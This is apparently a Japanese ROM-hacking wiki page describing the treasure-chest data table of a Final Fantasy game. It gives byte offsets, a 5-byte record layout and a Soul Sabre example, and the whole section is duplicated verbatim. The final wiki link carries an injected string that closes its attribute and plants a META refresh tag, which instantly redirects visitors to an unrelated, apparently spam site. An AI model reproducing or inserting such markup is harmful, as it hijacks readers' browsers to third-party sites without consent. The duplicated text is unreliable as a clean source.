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0x2D82F4-0x2D8633 宝箱データオフセット[size:2]
0x2D8634-0x2D8BC9 宝箱データ
宝箱データはマップ別に区切られており、区切り位置は宝箱データオフセットにより指定されている。
1つの宝箱につき5バイトで構成
1-2バイト目 宝箱の座標(X,Y)
3バイト目 宝箱番号
4バイト目 00or10だと空、20だと戦闘、40だとアイテム、80だとギル
5バイト目 アイテムの場合、入っているアイテムの番号
戦闘の場合、イベントバトル番号
ギルの場合、100倍(64h倍)した金額が入る。空の場合は無効。
例
フィガロ城地下 ソウルセイバーの入った宝箱
0x2D86B1-0x2D86B5
44 0A 9B 40 16
座標は44.0A
宝箱番号は9B=155
4バイト目が40なのでアイテムが入り、5バイト目が16なのでアイテム番号16の
ソウルセイバーが中身になる。
0x2D82F4-0x2D8633 宝箱データオフセット[size:2]
0x2D8634-0x2D8BC9 宝箱データ
宝箱データはマップ別に区切られており、区切り位置は宝箱データオフセットにより指定されている。
1つの宝箱につき5バイトで構成
1-2バイト目 宝箱の座標(X,Y)
3バイト目 宝箱番号
4バイト目 00or10だと空、20だと戦闘、40だとアイテム、80だとギル
5バイト目 アイテムの場合、入っているアイテムの番号
戦闘の場合、イベントバトル番号
ギルの場合、100倍(64h倍)した金額が入る。空の場合は無効。
例
フィガロ城地下 ソウルセイバーの入った宝箱
0x2D86B1-0x2D86B5
44 0A 9B 40 16
座標は44.0A
宝箱番号は9B=155
4バイト目が40なのでアイテムが入り、5バイト目が16なのでアイテム番号16の
ソウルセイバーが中身になる。[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
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